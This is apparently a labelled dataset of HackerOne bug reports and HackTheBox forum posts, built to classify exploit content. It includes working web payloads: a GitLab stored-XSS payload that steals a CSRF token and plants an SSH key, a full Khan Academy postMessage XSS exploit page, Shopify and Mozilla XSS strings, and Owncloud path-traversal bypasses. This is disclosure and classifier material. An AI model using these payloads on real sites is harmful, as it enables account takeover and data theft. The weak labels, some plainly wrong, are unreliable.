-{"id": "87cc6de9cfcd3439dda7", "text": "[Cleartext Transmission of Sensitive Information] [user_oidc] Unencrypted Communications\n\nThe [OpenID Connect User Backend](https://github.com/nextcloud/user_oidc/) allows users to login to Nextcloud using SSO and is - according to [the policy](https://hackerone.com/nextcloud?type=team) - part of the main scope of this program. The implementation supports plain HTTP without TLS and transfers sensitive information such as OIDC **client_secrets** in an unencrypted manner.\n\n[According to the OpenID Connect specification](https://openid.net/specs/openid-connect-core-1_0.html#TLSRequirements), \"*to protect against information disclosure and tampering, confidentiality protection MUST be applied using TLS with a ciphersuite that provides confidentiality and integrity protection*\".\n\nI did not find anything related to this within your threat model (which is unavailable at the moment btw. - therefore I am referring to this snapshot: https://web.archive.org/web/20220320042405/https://nextcloud.com/security/threat-model).\n\n## Steps to reproduce\n0. Setup Nextcloud using the docker image:\n```console\ndocker run -p 8081:80 nextcloud:latest\n```\n1. Enable `user_oidc` module via http://localhost:8081/settings/apps/integration/user_oidc\n2. Configure plugin via http://localhost:8081/settings/admin/user_oidc - add a provider with arbitrary identifier, client_id and client_secret. Include a burp collaborator URL with `http://` scheme:      \n{F1894137}\n3. In a private window, visit http://localhost:8081/login an click the login button \"test\".\n4. Observe incoming request using plain HTTP:      \n{F1894136}\n\nIn a working SSO setup, sensitive information such as the client_secret is sent in plain text by Nextcloud, as can be seen in the following screenshot (Token Request issued by Nextcloud):      \n{F1894138}\n\n## Fix\nThe `user_oidc` should enforce HTTPS in its default configuration.\n\n## Impact\n\nSensitive information such as the OIDC client credentials and tokens are sent in plain text of HTTP without TLS.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "70e128aef71abbdb7d1b", "text": "[Information Disclosure] [█████████] Information disclosure due unauthenticated access to APIs and system browser functions\n\n**Description:**\nMultiple information exposure vulnerabilites were identified in a Jira Server instance (unauthenticated access to APIs and system browser functions). This report describes a combination of two separate vulnerabilities in two separate services This chain of vulnerabilities allows unauthenticated attacker to run arbitrary code on a server inside the company's internal network. the vulnerable registered as references JRASERVER-73060\n\n\n## References\nhttps://jira.atlassian.com/browse/JRASERVER-73060\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-14179\n\n## Impact\n\nUnauthorised access and the data should not be visible.\nProject categories, resolutions, and usernames are listed even if the API is not authenticated\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\n██████████\n\n## CVE Numbers\nCVE-2020-14179\n\n## Steps to Reproduce\n## Steps to Reproduce\n1. Navigate visit the target scope is https://██████████/secure/JiraCreditsPage!default.jspa\n 1. And now we found a directory is jira sensitive\n 1. Lets send a curl request to the `?maxResults=1000` endpoint, as shown below. In the request, point the post request to the server address you want to send the request to:\n\nHere's the HTTP Parameter request that the issue:\n```\nGET /rest/menu/latest/admin HTTP/1.1\nHost: ██████████\nConnection: keep-alive\nPragma: no-cache\nCache-Control: no-cache\nsec-ch-ua-platform: \"Mac OS\"\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\n```\n * https://████/secure/JiraCreditsPage!default.jspa\n * https://█████████/rest/menu/latest/admin?maxResults=1000\n\n## Suggested Mitigation/Remediation Actions\n## Suggested Mitigation/Remediation Actions\nAnonymous access to endpoints listed below is restricted starting Jira 9.0. On future Jira 8.x releases and all LTS releases it is possible to restrict anonymous access with feature flags. On Jira 8.x to restrict anonymous access to the endpoint you need to disable feature flag aka provide `<feature.flag>`.disabled On Jira 9.0 you need to enable the same feature flag aka provide `<feature.flag>`.enabled\n\n\n**You can use given feature flags: **\n`/rest/api/2/projectCategory` - (Anonymous access disabled completely) \n`/rest/api/2/resolution` - (Anonymous access blocked only when there is no projects available for anonymous users) \n`/rest/menu/latest/admin` - There is currently no feature flag to disable anonymous access, please check linked ticket in \"duplicates by\" to track this problem.\n\n**Refferences**\nhttps://hackerone.com/reports/994612 \n[JRASERVER-73060](https://jira.atlassian.com/browse/JRASERVER-73060)", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2020-14179"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c8b91c8d1e2f80d60d9c", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS for Grafana dashboard URL\n\nHi GitLab Security Team \n\n### Summary\n\nI found a stored XSS vulnerability in the admins page. The administrator can set up a Grafana dashboard. Here, the administrator can either enter a relative URL or an absolute address. However, when adding an absolute URL, the protocol is not checked allowing to add a Javascript payload. However, when clicking on the URL, the corresponding `<a>` contains the `target=\"_blank\"` attribute, which means a new tab is opened. However, by exploiting the `window.opener` attribute, I still can access the original tab allowing me to steal for example the CSRF token.\n\n### Steps to reproduce\n\nTested locally on GitLab Enterprise 12.3.0-pre 7e45734123b\n\n1. As an administrator go to `http://example.gitlab.com/admin/application_settings/metrics_and_profiling#js-grafana-settings`\n2. Enter the following payload `javascript:alert(window.opener.document.location)`\n3. Within the admin sidebar open `Monitoring ->  Metrics Dashboard`\n\nSee the the Javascript being executed\n\n### Impact\n\nStored Javascript code is being executed on behalf of another user's session. Although this is only visible within the admins page, it's severity is the same. A malicious administrator can attack other administrator users with that. For example, the CSRF token can be stolen allowing, i.e., to add the attacker's SSH key to the victims user account. This can be done for example using the following payload:\n\n```\njavascript:var csrf = window.opener.$('meta[name=csrf-token]').attr('content'); window.opener.$.post('/profile/keys', { 'authenticity_token': csrf, 'key[key]': 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUXhvMZ/BFqgVY4iWWv2lrs2alZHA6CoNcnZWH7gxObXGeFK89/itFbI8NrEDE291LRScBL1nuHs0xlf7uidf97uFGVMyIW8TKeaG/j5q6olr9ejiOZhiiGGkQZf1iSTV4VYN77EtG7iV62VB1ZbwnCau1xT5mlXbd8E4WzaHIxuOY8Ao8EozouaQzWt+I1xJx5rufVwItmTaX5QKV5Cuv8GhMRUb1UqujNKr22/rbWnut0pSzB1+uE4S4E1AaCNX9Byy0z65nzupk5kdj8y/qJ3pk8UBOgQtJCFEOwc42EHS3JwTeMRNRXs9bwqRJfXUomXL1LZ5Eua7UX7aQq7pf admin@foo.com', 'key[title]': 'admin@foo.com' });\n```\n\n### What is the current *bug* behavior?\n\nThe URL entered in the Grafana domain is not validated allowing arbitrary javascript being entered.\n\n### What is the expected *correct* behavior?\n\nThe URL input field should only allow valid URLs for http(s).\n\n### Relevant logs and/or screenshots\n\n(Paste any relevant logs - please use code blocks (```) to format console output,\nlogs, and code as it's very hard to read otherwise.)\n\n### Output of checks\n\n#### Results of GitLab environment info\n\n```\nSystem information\nSystem:         Ubuntu 18.04\nProxy:          no\nCurrent User:   xanbanx\nUsing RVM:      no\nRuby Version:   2.6.3p62\nGem Version:    3.0.3\nBundler Version:1.17.2\nRake Version:   12.3.2\nRedis Version:  4.0.9\nGit Version:    2.23.0\nSidekiq Version:5.2.7\nGo Version:     go1.12.6 linux/amd64\n\nGitLab information\nVersion:        12.3.0-pre\nRevision:       7e45734123b\nDirectory:      /home/xanbanx/gdk/gdk-ee/gitlab\nDB Adapter:     PostgreSQL\nDB Version:     10.10\nURL:            http://localhost:3001\nHTTP Clone URL: http://localhost:3001/some-group/some-project.git\nSSH Clone URL:  ssh://xanbanx@localhost:2222/some-group/some-project.git\nElasticsearch:  no\nGeo:            no\nUsing LDAP:     no\nUsing Omniauth: yes\nOmniauth Providers: \n\nGitLab Shell\nVersion:        9.4.1\nRepository storage paths:\n- default:      /home/xanbanx/gdk/gdk-ee/repositories\nGitLab Shell path:              /home/xanbanx/gdk/gdk-ee/gitlab-shell\nGit:            /usr/bin/git\n\n```\n\nBest,\nXanbanx\n\n## Impact\n\nSee above", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e9a016940ae8bb9898f4", "text": "I tried this and got the correct answer: htb-student@nixfund:~$ find / -name “*.log” 2>/dev/null | wc -l 32", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-03-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "64ad8a084d1e09a93a78", "text": "[Violation of Secure Design Principles] [U.S. Air Force] Information disclosure due unauthenticated access to APIs and system browser functions\n\n**Description:**\nMultiple information exposure vulnerabilites were identified in a Jira Server instance (unauthenticated access to APIs and system browser functions). This report describes a combination of two separate vulnerabilities in two separate services This chain of vulnerabilities allows unauthenticated attacker to run arbitrary code on a server inside the company's internal network. the vulnerable registered as references [JRASERVER-73060](https://jira.atlassian.com/browse/JRASERVER-73060)\n\n## References\nhttps://jira.atlassian.com/browse/JRASERVER-73060\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-14179\n\n## Impact\n\nUnauthorised access and the data should not be visible.\nProject categories, resolutions, and usernames are listed even if the API is not authenticated\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\nhttps://██████/rest/menu/latest/admin\n\n## CVE Numbers\nCVE-2020-14179\n\n## Steps to Reproduce\n1. Navigate visit the target scope is https://████//rest/menu/latest/admin\n 1. And now we found a directory is jira sensitive\n 1. You can used recon-tool for finding sensitive directory\n 1. Lets send a curl request to the **`?maxResults=1000`** endpoint, as shown below. In the request, point the post request to the server address you want to send the request to:\n\nHere's the HTTP Parameter request that the issue:\n```\nGET /rest/api/2/projectCategory?maxResults=1000 HTTP/1.1\nHost: ████████\nConnection: keep-alive\nPragma: no-cache\nCache-Control: no-cache\nsec-ch-ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"96\", \"Google Chrome\";v=\"96\"\nAccept: application/json, text/plain, */*\nsec-ch-ua-mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36\nsec-ch-ua-platform: \"Mac OS\"\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nAccept-Language: en-US,en;q=0.9,fi;q=0.8\n```\n```js\n{\n      \"self\":\"https://█████/rest/api/2/projectCategory/10000\",\n      \"id\":\"10000\",\n      \"description\":\"Used by the broader DoD/IC for collaborative development.\",\n      \"name\":\"Community Collaboration\"\n   }\n][\n   {\n      \"key\":\"admin\",\n      \"link\":\"https://█████████/secure/project/BrowseProjects.jspa?s=view_projects\",\n      \"label\":\"Jira administration\",\n      \"tooltip\":\"\",\n      \"local\":true,\n      \"self\":true,\n      \"applicationType\":\"jira\"\n   },\n   {\n      \"key\":\"admin\",\n      \"link\":\"https://████████/admin/console.action\",\n      \"label\":\"Confluence administration\",\n      \"tooltip\":\"\",\n      \"local\":false,\n      \"self\":false,\n      \"applicationType\":\"confluence\"\n   }\n```\n * https://█████/rest/menu/latest/admin?maxResults=1000\n * https://██████/rest/api/2/projectCategory?maxResults=1000\n * https://███/rest/api/2/resolution?maxResults=1000\n\n## Suggested Mitigation/Remediation Actions\nAnonymous access to endpoints listed below is restricted starting Jira 9.0. On future Jira 8.x releases and all LTS releases it is possible to restrict anonymous access with feature flags. On Jira 8.x to restrict anonymous access to the endpoint you need to disable feature flag aka provide `<feature.flag>`.disabled On Jira 9.0 you need to enable the same feature flag aka provide `<feature.flag>`.enabled\n\n>\nYou can use given feature flags: \n`/rest/api/2/projectCategory` - (Anonymous access disabled completely) \n`/rest/api/2/resolution` - (Anonymous access blocked only when there is no projects available for anonymous users) \n`/rest/menu/latest/admin` - There is currently no feature flag to disable anonymous access, please check linked ticket in \"duplicates by\" to track this problem.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2020-14179"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ceee61a623e85401a3cf", "text": "Input key\n\nWhite joining the event it is asking me input key, where am I supposed to get it?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-03-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3b9f4177655ef562b0b5", "text": "[Unknown] [CVE-2023-27539] Possible Denial of Service Vulnerability in Rack’s header parsing\n\nI made a report and patch at https://hackerone.com/reports/1887373 .\n\nhttps://discuss.rubyonrails.org/t/cve-2023-27539-possible-denial-of-service-vulnerability-in-racks-header-parsing/82466\n\n> There is a denial of service vulnerability in the header parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2023-27539.\n\n## Impact\n\n> Carefully crafted input can cause header parsing in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. Any applications that parse headers using Rack (virtually all Rails applications) are impacted.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-27539"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5f202d0bc65e11c6f873", "text": "if anyone is stuck on how to get the flag when you got RCE, remember that you cant use LFI if you dont know the path of your target. in other words once you got RCE find the file you need then you can access it with LFI", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-01-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4ee88633e86df298d367", "text": "[Improper Access Control - Generic] LDAP Server NULL Bind Connection Information Disclosure\n\n**Description:**\nThe remote LDAP server allows anonymous access\n\n## References\n  - https://www.tenable.com/plugins/nessus/10723\n  - https://ldap.com/ldapv3-wire-protocol-reference-bind\n\n## Impact\n\ninformation  disclosure\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. run $ `nmap -n -sV --script \"ldap* and not brute\" -p 389 ██████████`\n\ncheck the response\n## POC\n██████\n\n## Suggested Mitigation/Remediation Actions\nConfigure the service to disallow NULL BINDs.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e2397f8b82b2696d1960", "text": "[Improper Authorization] CVE-2023-47037: Airflow Broken Access Control Vulnerability\n\nHi IBB,\nApache Airflow, versions before 2.7.3, is affected by a vulnerability that allows authenticated and DAG-view authorized Users to modify some DAG run detail values when submitting notes. This could have them alter details such as configuration parameters, start date, etc. \n\n\nHere is the conversation between the security team of airflow.\n\n█████\n\nMore Details:\nhttps://lists.apache.org/thread/04y4vrw1t2xl030gswtctc4nt1w90cb0\n\n## Impact\n\nBroken Access Control Vulnerability.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-47037"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ac23a4b60d8ba15bebba", "text": "[Improper Certificate Validation] nextcloudcmd incorrectly trusts bad TLS certificates\n\nRef: https://github.com/nextcloud/desktop/issues/4927\n\n### Bug description\n\nI have a self hosted Nextcloud instance using my own private CA for TLS certs.  When running `nextcloudcmd` without the `--trust`, it disregards the cert validation failure as \"This is not an actual error\" and proceeds with the sync anyway.  I expected it to reject the untrusted server cert and assume it is a MITM attack:\n\n```\n# nextcloudcmd --non-interactive -n ~/Nextcloud https://nextcloud.lan\n09-10 12:25:54:348 [ info nextcloud.sync.accessmanager ]:\t2 \"\" \"https://nextcloud.lan/ocs/v1.php/cloud/capabilities?format=json\" has X-Request-ID \"18ff47a0-a482-4456-a489-7aa747170c58\"\n09-10 12:25:54:348 [ info nextcloud.sync.networkjob ]:\tOCC::JsonApiJob created for \"https://nextcloud.lan\" + \"ocs/v1.php/cloud/capabilities\" \"\"\n09-10 12:25:54:545 [ info nextcloud.sync.account ]:\t\"SSL-Errors happened for url  \\\"https://nextcloud.lan/ocs/v1.php/cloud/capabilities?format=json\\\" \\tError in  QSslCertificate(\\\"3\\\", [REDACTED] : \\\"The root certificate of the certificate chain is self-signed, and untrusted\\\" ( \\\"The root certificate of the certificate chain is self-signed, and untrusted\\\" ) \\n \" Certs are known and trusted! This is not an actual error.\n09-10 12:25:54:871 [ info nextcloud.sync.networkjob.jsonapi ]:\tJsonApiJob of QUrl(\"https://nextcloud.lan/ocs/v1.php/cloud/capabilities?format=json\") FINISHED WITH STATUS \"OK\"\n```\n\nAfter [adding the root CA cert to the system's trust store](https://ubuntu.com/server/docs/security-trust-store) the validation passes and the warning goes away.\n\nI am running the latest `nextcloud-desktop-cmd` package, version `2.6.2-1build1`, on Ubuntu Server 20.04.2 LTS.\n\nI did not see this problem in the [NextCloud CVE list](https://www.cvedetails.com/vulnerability-list/vendor_id-15913/product_id-34622/Nextcloud-Nextcloud.htm).\n\n### Steps to reproduce\n\nRun `nextcloudcmd` against a server that has a TLS cert that the system won't validate.\n\n### Expected behavior\n\nAbort the operation if the server's TLS cert cannot be validated, unless `--trust` is specified to explicitly override the security checks.\n\n### Which files are affected by this bug\n\nsrc/libsync/account.cpp\n\n### Operating system\n\nLinux\n\n### Which version of the operating system you are running.\n\nUbuntu 20.04.2 LTS\n\n### Package\n\nDistro package manager\n\n### Nextcloud Server version\n\n24.0.3\n\n### Nextcloud Desktop Client version\n\n2.6.2-1build1\n\n### Is this bug present after an update or on a fresh install?\n\nFresh desktop client install\n\n### Are you using the Nextcloud Server Encryption module?\n\nEncryption is Disabled\n\n### Are you using an external user-backend?\n\n- [X] Default internal user-backend\n- [ ] LDAP/ Active Directory\n- [ ] SSO - SAML\n- [ ] Other\n\n## Impact\n\nPossible MITM", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4310ea9ec13b949b4564", "text": "[Path Traversal] GitHub Security Lab (GHSL) Vulnerability Report: Insufficient path validation in ReceiveExternalFilesActivity.java (GHSL-2022-060)\n\nThe [GitHub Security Lab](https://securitylab.github.com) team has identified potential security vulnerabilities in [Owncloud Android app](https://github.com/owncloud/android).\n\nWe are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.\n\nIf at any point you have concerns or questions about this process, please do not hesitate to reach out to us at `securitylab@github.com` (please include `GHSL-2022-059` or `GHSL-2022-060` as a reference).\n\nIf you are _NOT_ the correct point of contact for this report, please let us know!\n\n## Summary\n\nThe Owncloud Android app handles externally-provided files in the activity `ReceiveExternalFilesActivity`, where potentially malicious file paths are not properly sanitized, allowing attackers to read from and write to the application's internal storage.\n\n## Details\n\n### Access to arbitrary files in the app's internal storage fix bypass\n\n`ReceiveExternalFilesActivity` handles the upload of files provided by third party components in the device. The received data can be set arbitrarily by attackers, causing some functions that handle file paths to have unexpected behavior. https://hackerone.com/reports/377107 shows how that could be exploited in the past, using the `android.intent.extra.STREAM` extra to force the application to upload its internal files, like `com.owncloud.android_preferences.xml`. To fix it, the following code was added:\n\n[`ReceiveExternalFilesActivity.java:521`](https://github.com/owncloud/android/blob/73f152c242dd818b9c4de267fe072338a35ff2ba/owncloudApp/src/main/java/com/owncloud/android/ui/activity/ReceiveExternalFilesActivity.java#L521)\n\n```java\nprivate void prepareStreamsToUpload() {\n    // --snip--\n\n    for (Uri stream : mStreamsToUpload) {\n        String streamToUpload = stream.toString();\n        if (streamToUpload.contains(\"/data\") &&\n                streamToUpload.contains(getPackageName()) &&\n                !streamToUpload.contains(getCacheDir().getPath())\n        ) {\n            finish();\n        }\n    }\n}\n```\n\nThis protection can be bypassed in two ways:\n\n* Using the path returned by `getCacheDir()` in the payload, e.g. `\"file:///data/user/0/com.owncloud.android/cache/../shared_prefs/com.owncloud.android_preferences.xml\"`.\n* Using a content provider URI that uses the `org.owncloud.files` provider to access the app's internal `file` folder, e.g. `\"content://org.owncloud.files/files/owncloud/logs/owncloud.2022-07-25.log\"`.\n\nWith those payloads, the original issue can be still exploited with the same impact.\n\n### Write of arbitrary `.txt` files in the app's internal storage\n\nAdditionally, there's another insufficient path validation when uploading a plain text file that allows to write arbitrary files in the app's internal storage.\n\nWhen uploading a plain text file, the following code is executed, using the user-provided text at `input` to save the file:\n\n[`ReceiveExternalFilesActivity:920`](https://github.com/owncloud/android/blob/73f152c242dd818b9c4de267fe072338a35ff2ba/owncloudApp/src/main/java/com/owncloud/android/ui/activity/ReceiveExternalFilesActivity.java#L920)\n\n```java\nprivate void showUploadTextDialog() {\n        // --snip--\n        final TextInputEditText input = dialogView.findViewById(R.id.inputFileName);\n        // --snip--\n        setFileNameFromIntent(alertDialog, input);\n        alertDialog.setOnShowListener(dialog -> {\n            Button button = alertDialog.getButton(AlertDialog.BUTTON_POSITIVE);\n            button.setOnClickListener(view -> {\n                // --snip--\n                } else {\n                    fileName += \".txt\";\n                    Uri fileUri = savePlainTextToFile(fileName);\n                    mStreamsToUpload.clear();\n                    mStreamsToUpload.add(fileUri);\n                    uploadFiles();\n                }\n                inputLay", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "432e6424adc64f83bbed", "text": "Every time I spawned the target, it was normal at first. After a few seconds, I can’t connect to the target. image 665×304 12.5 KB", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-10-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d17084063c3204a4609f", "text": "[Unknown] Stored XSS in \"product type\" field executed via product filters\n\nHI @judgeme!\nI found Stored XSS!)\nI Install judge.me in Shopify E-Commerce. Step to reproduce:\n1. Log in to our shopify dev store and install \"judgeme\" app.\n2. Create random product in our Shopify store (make it active) and insert XSS playload  \"><img src=x onerror=prompt(document.domain)> in \"PRODUCT TYPE\" field and SAVE\n\n\n{F1518888}\n\n\n3. Then go to our judgeme app https://xxx.myshopify.com/admin/apps/judgeme/products. There is a filter field TYPE . Click on it and select our playload from the list \n{F1518897}\n4. And it works )))\n\n\n\n{F1518898}\n\nI attached video POC\n\n## Impact\n\nSession Hijacking, Cookie Stealing.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3575246448c5c631989d", "text": "[Insecure Storage of Sensitive Information] Able to view hackerone reports attachments\n\n### Summary\n\n(Hi team,\n\nI accidentally found this bug. While reading one of hackerone public report (https://hackerone.com/reports/446238) about gitlab, I found a link posted by gitlab member which is related to internal tracking of the report. I clicked that link (https://gitlab.com/gitlab-org/gitlab-foss/-/issues/54220) and found one of the attachment. I am able to view all the attachments by directly visiting the attachment domain.)\n\n### Steps to reproduce\n\n1. Open https://h1.sec.gitlab.net/a/ (you will able to view all the attachments) and copy any content key \n2. Paste key infront of  https://h1.sec.gitlab.net/a/  (ex: https://h1.sec.gitlab.net/a/copied_key.jpg) (you will able to view attachment)\n\nTo view nonpublic hackerone report attachment, find the hackerone report key from the above link > copy and paste infront of https://h1.sec.gitlab.net/a/\n\nTry to view this hackerone report you will see access denied https://hackerone.com/reports/446237 \n\nbut still you can able to view the report attachment by visiting https://h1.sec.gitlab.net/a/█████\n\n## Impact\n\nAs attachments consist of researcher attached POC images and videos. So attacker can directly exploit by using these information.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2afb08fcd6ecab610be6", "text": "[Cross-Site Scripting (XSS)] HTML Injection at https://stage.firefoxmonitor.nonprod.cloudops.mozgcp.net/user/unsubscribe\n\nHello, \n\nThe \"Unsubscribe\" page seems to be affected by Cross-Site Scripting (XSS) .Unfortunately my IP was blocked and I couldn't go ahead with the test to find a real proof of concept. So I'll just stick to this\n\nPOC:\n\nhttps://stage.firefoxmonitor.nonprod.cloudops.mozgcp.net/user/unsubscribe?%27%22%3E%3C/title%3E%3Cscript%3Ealert(xss)%3C/script%3E%3E%3Cmarquee%3E%3Ch1%3EXSS%3C/h1%3E%3C/marquee%3E \n\nCheers\n\n## Impact\n\nAn attacker could use this to inject malicious client side code, such as JavaScript, and execute it within the context of another user. This could possibly lead to user account compromises, user’s being socially engineered and many more attacks against the application’s users.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "834d9dfd4d42ec838586", "text": "[Session Fixation] CVE-2023-40273: Session fixation in Apache Airflow web interface\n\nWhen I reset the password of the test user through the button Reset Password, I hope that the person who previously had the password of the test user will lose the corresponding authority. However, if others have logged in to the test user before, they can still use the account.\n{F2630619}\n{F2630620}\nIn short，Change user password wouldn't prevent an already authenticated user from being able to continue using the UI or API.\n\n## Impact\n\nThe session fixation vulnerability allowed the authenticated user to continue accessing Airflow webserver even after the password of the user has been reset by the admin - up until the expiry of the session of the user.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-40273"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c8ed91d64c4331411349", "text": "[Cross-site Scripting (XSS) - DOM] xss due to incorrect handling of postmessages\n\nDue to Insecure handling of create link tags (a tags) in a function called `autolink` found in `7Bmt.af733e428f9f986dfc96.js`\n```js\ne = n.autolink(e, !0));\n        const n = function() {\n            const e = /\\b(?:(?:https?:\\/\\/|www\\d{0,3}[.]|[a-z0-9.\\-]+[.][a-z]{2,4}\\/)(?:[^\\s()<>&]+|&amp;|\\((?:[^\\s()<>]|(?:\\([^\\s()<>]+\\)))*\\))+(?:\\((?:[^\\s()<>]|(?:\\([^\\s()<>]+\\)))*\\)|[^\\s`!()\\[\\]{};:'\".,<>?«»“”‘’&]))/gi;\n            return {\n                autolink: function(t, r) {\n                    return t.replace(e, (function(e) {\n                        /^https?:\\/\\//.test(e) || (e = \"http://\" + e);\n                        return \"<a \" + (r ? 'rel=\"nofollow\"' : \"\") + ' href=\"' + e + '\">' + e + \"</a>\"\n                    }\n                    ))\n                }\n            }\n        }();\n```\nwhich is ran in the challenges (ex: https://www.khanacademy.org/computing/computer-programming/programming/resizing-with-variables/pc/challenge-brown-bear-eyes). A specially crafted postmessage can abuse this.\n```html\n<!DOCTYPE html>\n<html>\n    <head>\n        <meta charset=\"utf-8\">\n        <title>New webpage</title>\n    </head>\n    <body>\n        <script>\n        function main()\n{\n\twindow['test']=window.open(\"https://www.khanacademy.org/computing/computer-programming/programming/interactive-programs/pc/challenge-mouse-movement-mania\");\n\tconst pwntimer = setTimeout(pwn, 3000);\t\n}\nfunction pwn(){window['test'].postMessage('{\"results\":{\"timestamp\":'+Date.now()+',\"code\":\"\",\"errors\":[],\"assertions\":[],\"warnings\":[],\"tests\":[{\"name\":\"\",\"state\":\"pass\",\"results\":[{\"type\":\"assertion\",\"msg\":\"http://#/\\\\\"style=\\\\\"width:2000px;height:2000px;position:fixed;top:0;left:0;margin-bottom:2000;z-index:200;\\\\\"onmouseover=\\\\\"eval(String.fromCharCode(97,108,101,114,116,40,34,112,119,110,100,33,34,41))\\\\\"\",\"state\":\"pass\",\"expected\":\"\",\"meta\":{\"structure\":\"function() {pwned!}\"}}]}]}}',\"*\");clearTimeout(pwntimer)};\n        </script>\n        <button onclick=\"main();\">press to pwn</button>\n    </body>\n</html>\n```\nalso due to insecure host checking in the `message` event, the mentioned html code above can be run from any webpage.\n\nThe payload which the function `autolink` is insecurely creating the tag can look like this\n`http://#/\"style=\"width:2000px;height:2000px;position:fixed;top:0;left:0;margin-bottom:2000;z-index:200;\"onmouseover=\"eval(String.fromCharCode(97,108,101,114,116,40,34,112,119,110,100,33,34,41))\"` the malicious link will be set incorrectly and create extra attributes (in this case style and onmouseover)\n\n\nthe parsed json payload:\n```json\n{\n   \"results\":{\n      \"timestamp\":\"\",\n      \"code\":\"\",\n      \"errors\":[\n         \n      ],\n      \"assertions\":[\n         \n      ],\n      \"warnings\":[\n         \n      ],\n      \"tests\":[\n         {\n            \"name\":\"\",\n            \"state\":\"pass\",\n            \"results\":[\n               {\n                  \"type\":\"assertion\",\n                  \"msg\":\"http://#/\\\"style=\\\"width:2000px;height:2000px;position:fixed;top:0;left:0;margin-bottom:2000;z-index:200;\\\"onmouseover=\\\"eval(String.fromCharCode(97,108,101,114,116,40,34,112,119,110,100,33,34,41))\\\"\",\n                  \"state\":\"pass\",\n                  \"expected\":\"\",\n                  \"meta\":{\n                     \"structure\":\"function() {pwned!}\"\n                  }\n               }\n            ]\n         }\n      ]\n   }\n}\n```\n\n## Impact\n\nThis attack could be steal user data (cookies, profile, etc) which in turn can be used to manipulate the user account, if it is a teacher who gets targeted, it can cause havoc with the email (\"106 assignments have been assigned\") as well as leak student private info. This attack could also be used to create a phishing page with the domain `khanacademy.org` by modifying the page to display a login box (stealing the users email and password).", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
